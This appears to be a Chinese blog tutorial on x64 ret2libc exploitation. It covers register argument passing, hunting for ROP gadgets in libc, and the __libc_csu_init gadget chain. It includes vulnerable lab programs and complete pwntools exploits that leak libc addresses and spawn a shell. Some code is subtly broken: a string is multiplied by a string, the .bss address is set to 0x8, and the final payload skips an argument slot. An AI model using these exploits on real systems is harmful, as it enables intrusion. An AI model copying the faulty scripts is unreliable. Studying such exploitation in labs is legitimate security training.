那些奇妙的组合
这两天读了一些书,学了一些新的知识,关于libc我们比较熟悉的是通过write() puts() 等函数来泄漏system() 和/bin/sh 的实际地址,然后通过缓冲区溢出来进行利用,这是常见而基础的ret2libc。 但是我们来想想这几种情况,假如程序是64位那么我们如何将参数传入函数,假如我们没有拿到libc.so那么我们如何计算偏移,一般来说处理这中情况往往需要一些骚操作,以rop来实现libc泄漏往往是绕不过的。举个简单例子,在x86中write()传参是这样的:1 payload = 'a' * 0x80 + p32(write_got) + p32(vuln) + p32(0 ) + p32(address_to_leak) + p32(8 )
通过调用write函数来泄漏address_to_leak的真实地址,一般我们会选择write_got自己或者libc_start_main_got来进行泄漏,因为 延迟绑定 的原因,只有被调用过的函数,他的got表里才会储存该函数在内存中的实际地址。
关于这一部分大家可以读一度《程序员的自我修养这本书》,还有下面这篇文章:got&plt 详细的介绍了got与plt以及延迟绑定的问题
我们现在就来总结一下如何处理x64的libc泄漏问题。
1.直接寻找可用于传参的budget 既然要泄漏地址,那么必然要使用write()与puts()等函数,这个过程就涉及到参数的传递,不像x86那样可以用栈传递参数,x64拥有更多的寄存器,所以会优先选择使用寄存器来传递参数,关于寄存器我们需要将一下传参规则,先看下图:
我们可以看到64位的程序的参数在6个以内时会优先调用寄存器,而使用的顺序如下:
1 2 3 4 5 6 7 8 9 10 11 %rdi => arg1 %rsi => arg2 %rdx => arg3 %rcx => arg4 %r8 => arg5 %r9 => arg6
而 %rax 依旧用于保存返回值。知道这些储备知识以后,我们来开一个使用gadgets来控制程序的例子。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr () { void * handle = dlopen("libc.so.6" , RTLD_LAZY); printf ("%p\n" ,dlsym(handle,"system" )); fflush(stdout ); } void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); } int main (int argc, char ** argv) { systemaddr(); write(1 , "Hello, World\n" , 13 ); vulnerable_function(); }
gcc -fno-stack-procter -no-pie -o rop_libc rop_libc1
我们首先可以看到一个明显的缓冲区溢出,而且程序会自动输出system()在内存中的实际地址,这个时候我们可以想到只需要拥有 “/bin/sh” 就可以走上人生巅峰,这个时候我们考虑使用gadgets来将 “/bin/sh” 的地址传入 rdi 。ok,用ROPgadget来搜索一波:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ROPgadget --binary rop_libc1 --only "pop|ret" ==================================================== 0x0000000000001294 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000001296 : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000001298 : pop r14 ; pop r15 ; ret 0x000000000000129a : pop r15 ; ret 0x0000000000001293 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000001297 : pop rbp ; pop r14 ; pop r15 ; ret 0x000000000000116f : pop rbp ; ret 0x000000000000129b : pop rdx ; ret 0x0000000000001299 : pop rsi ; pop r15 ; ret 0x0000000000001295 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000001016 : ret 0x0000000000001072 : ret 0x2f 0x000000000000119a : ret 0xfffe
我们发现结果并不理想,由于这个程序太小了,里面竟然没有 pop rdi ; ret 这条指令,那么我们只好换个思路,为什么不直接使用libc.so里的gadgets呢?灵机一动之后,我们想到可用使用write()来泄漏libc.so里的指令地址,话不多说,先搜一下symbols地址:
1 2 3 4 ROPgadget --binary libc.so.6 --only "pop|ret" ===================================================== 0x000000000002456f : pop rdi ; pop rbp ; ret 0x0000000000023a5f : pop rdi ; ret
果然命中注定的那个它出现了,0x23a5f:pop rdi ; ret 就是我们想要的gadgets,我们可以构造rop链了。
1 payload = "a" * 0x80 + 'b' * '8' + p64(pop_ret_addr) + p64(bin_sh) + p64(system_addr)
但同时考虑到我们只需要执行system一次,所以似乎gadgets不含有ret也可以,那么我们的选择又多了一些:
1 2 3 4 5 6 ROPgadget --binary libc.so.6 --only "pop|call" ==================================================== 0x00000000000bad0d : call qword ptr [rdi] 0x0000000000027225 : call rdi 0x00000000000f982b : pop rax ; pop rdi ; call rax 0x00000000000f982c : pop rdi ; call rax
这时候我们看到了 0x00f982b : pop rax ; pop rdi ; call rax 这行指令应该也是可以的,我们只需要构造payload如下:
1 payload = 'a' * 0x80 + 'b' * 8 + p64(pop_pop_call) + p64(system_addr) + p64(bin_sh)
此时system_addr被传入rax,bin_sh被传入rdi,最后调用call rax实现exploit,所以两条ROP都可以完成一次优雅的攻击,最终的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *sh = process('./rop_libc' ) libc = ELF('./libc.so' ) vuln_addr = 0x000011db system_addr_str = sh.recvuntil("\n" ) system_addr = int(system_addr_str,16 ) print "system_addr= " + hex(system_addr)pop_pop_call_offset = 0x00000000000f982b - libc.symbols['system' ] print "pop_offset= " + hex(pop_pop_call_offset)bin_sh_offset = 0x0000000000181519 - libc.symbols['system' ] print "bin_sh_offset= " + hex(bin_sh_offset)pop_pop_call_addr = system_addr + pop_pop_call_offset print "pop_addr= " + hex(pop_pop_call_addr)bin_sh = system_addr + bin_sh_offset print "bin_sh= " + hex(bin_sh)payload = 'a' *0x88 + p64(pop_pop_call_addr) + p64(system_addr) + p64(bin_sh) sh.sendline(payload) sh.interactive()
2.通用gadgets 假如我们出现了更艰难的情况,我们需要传入更多的参数进去,比如write(),这时候要怎么办?我们查一下libc.so发现什么都没有,有点难受:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0x0000000000106ab4 : pop r10 ; ret 0x0000000000024568 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000023a58 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000006f529 : pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret 0x000000000002fc29 : pop r12 ; pop r13 ; pop r14 ; ret 0x00000000000396f5 : pop r12 ; pop r13 ; pop rbp ; ret 0x0000000000023f85 : pop r12 ; pop r13 ; ret 0x00000000000b5399 : pop r12 ; pop r14 ; ret 0x00000000000c513d : pop r12 ; pop rbp ; ret 0x0000000000024209 : pop r12 ; ret 0x000000000002456a : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000023a5a : pop r13 ; pop r14 ; pop r15 ; ret 0x000000000006f52b : pop r13 ; pop r14 ; pop rbp ; ret 0x000000000002fc2b : pop r13 ; pop r14 ; ret 0x00000000000396f7 : pop r13 ; pop rbp ; ret 0x0000000000023f87 : pop r13 ; ret
不太全但是可以发现几乎没有关于rdi等等有关参数的寄存器,这个时候我们就要采取一些骚办法.
__libc_csu_init
这个函数在大部分程序初始化的时候都会出现,我们首先来看一下这个函数的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 objdump -d rop_libc ==================================================== 0000000000001240 <__libc_csu_init>: 1240: 41 57 push %r15 1242: 49 89 d7 mov %rdx,%r15 1245: 41 56 push %r14 1247: 49 89 f6 mov %rsi,%r14 124a: 41 55 push %r13 124c: 41 89 fd mov %edi,%r13d 124f: 41 54 push %r12 1251: 4c 8d 25 80 2b 00 00 lea 0x2b80(%rip),%r12 # 3dd8 <__frame_dummy_init_array_entry> .......... #以下是关键 #gadget2 1278: 4c 89 fa mov %r15,%rdx 127b: 4c 89 f6 mov %r14,%rsi 127e: 44 89 ef mov %r13d,%edi 1281: 41 ff 14 dc callq *(%r12,%rbx,8) 1285: 48 83 c3 01 add $0x1,%rbx 1289: 48 39 dd cmp %rbx,%rbp 128c: 75 ea jne 1278 <__libc_csu_init+0x38> 128e: 48 83 c4 08 add $0x8,%rsp # gadget1 1292: 5b pop %rbx 1293: 5d pop %rbp 1294: 41 5c pop %r12 1296: 41 5d pop %r13 1298: 41 5e pop %r14 129a: 41 5f pop %r15 129c: c3 retq #此处构造一些padding(7*8=56byte)就可以返回了
首先我们来看一下gadgets1,pop了一堆东西进到寄存器里,然后控制ret到gadget2,此时我们便可以看出其中的玄机,gadget1中pop进寄存器的值竟然被传进了我们梦寐以求的rdi rsi rdx 三个参数寄存器,然后接下来 callq *(%r12,%rbx,8)
会调用 [$r12 + rbx*8] 处的函数,之后进行 rbx += 1,然后比较rbx与rbp的值,如果想等那么就继续向下进行,并且ret到我们想要继续执行的位置。到这,我就可以开始思考如何给gadget1传参数了,反复思索后:
1 2 3 4 5 6 7 $rbx = 0 $rbp = 1 $r12 = callee function $r13 = arg1 $r14 = arg2 $r15 = arg3
这里需要注意的是需要构造56个padding,因为进行了6次pop和一次ret,使得rsp增大了56bytes。
这个时候我们精心设计的rop链就可以执行传递多个参数的复杂操作了。
下面我们来看一道题:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); } int main (int argc, char ** argv) { write(STDOUT_FILENO, "Hello, World\n" , 13 ); vulnerable_function(); }
乍一看除了write()和read()啥也没有,可以想到应该是libc泄漏,搜了一波发现没啥好用的gadgets,行吧,__libc_csu_init走起。由于write()函数被调用过,所以我们考虑根据write()来计算偏移:
我们先构造payload1,利用write()函数来泄漏write自己在内存里的位置,然后返回到程序里,继续覆盖栈上的数据,直到回到main函数来继续进行后续操作:1 2 3 payload1 = 'a' *0x88 + p64(0x4011e2 ) + p64(0 ) + p64(1 ) + p64(write_got) + p64(1 ) + p64(write_got) + p64(8 ) payload1 += p64(0x4011c8 ) + 'd' * 56 + p64(main)
当我们收到write的地址后,我们便能够计算出system()在内存中的地址了。我们便构造payload2使用read()函数来将算出的system()与/bin/sh写入bss段:
1 2 payload2 = 'a' *0x88 + p64(0x4011e2 ) + p64(0 ) + p64(1 ) + p64(read_got) + p64(1 ) + p64(bss) + p64(16 ) + p64(0x4011c8 ) + 'd' *56 + p64(main)
最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。
1 2 payload3 = 'a' *0x88 + p64(0x4011e2 ) + p64(0 ) + p64(1 ) + p64(bss) + p64(bss+8 ) + p64(0x4011c8 ) + 'd' *56 + p64(main)
最终的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *sh = process('./rop_libc1' ) elf = ELF('./rop_libc1' ) libc = ELF('./libc.so' ) main = 0x401153 bss = 0x00000008 read_got = 0x404020 write_got = elf.got['write' ] print "write_got= " + hex(write_got)write_libc = libc.symbols['write' ] print "write_libc= " + hex(write_libc)system_libc = libc.symbols['system' ] print "system_libc= " + hex(system_libc)bin_sh_libc = libc.search('/bin/sh' ).next() print "bin_sh_libc= " + hex(bin_sh_libc)payload1 = 'a' *0x88 + p64(0x4011e2 ) + p64(0 ) + p64(1 ) + p64(write_got) + p64(1 ) + p64(write_got) + p64(8 ) payload1 += p64(0x4011c8 ) + 'd' * 56 + p64(main) sh.recvuntil("Hello, World\n" ) sh.sendline(payload1) sleep(0.5 ) write_addr = u64(sh.recv(8 )) print "write_addr= " + hex(write_addr)sleep(0.5 ) payload2 = 'a' *0x88 + p64(0x4011e2 ) + p64(0 ) + p64(1 ) + p64(read_got) + p64(1 ) + p64(bss) + p64(16 ) + p64(0x4011c8 ) + 'd' *56 + p64(main) sh.sendline(payload2) sh.send(p64(system_libc + write_addr - write_libc)) sh.send("/bin/sh\0" ) sleep(0.5 ) sh.recvuntil("Hello, World\n" ) payload3 = 'a' *0x88 + p64(0x4011e2 ) + p64(0 ) + p64(1 ) + p64(bss) + p64(bss+8 ) + p64(0x4011c8 ) + 'd' *56 + p64(main) sh.sendline(payload3) sh.interactive()
至此,一个华丽的利用已经完成了.
以上是对x64libc泄漏的处理方式
书山又路勤为径,学海无涯苦做舟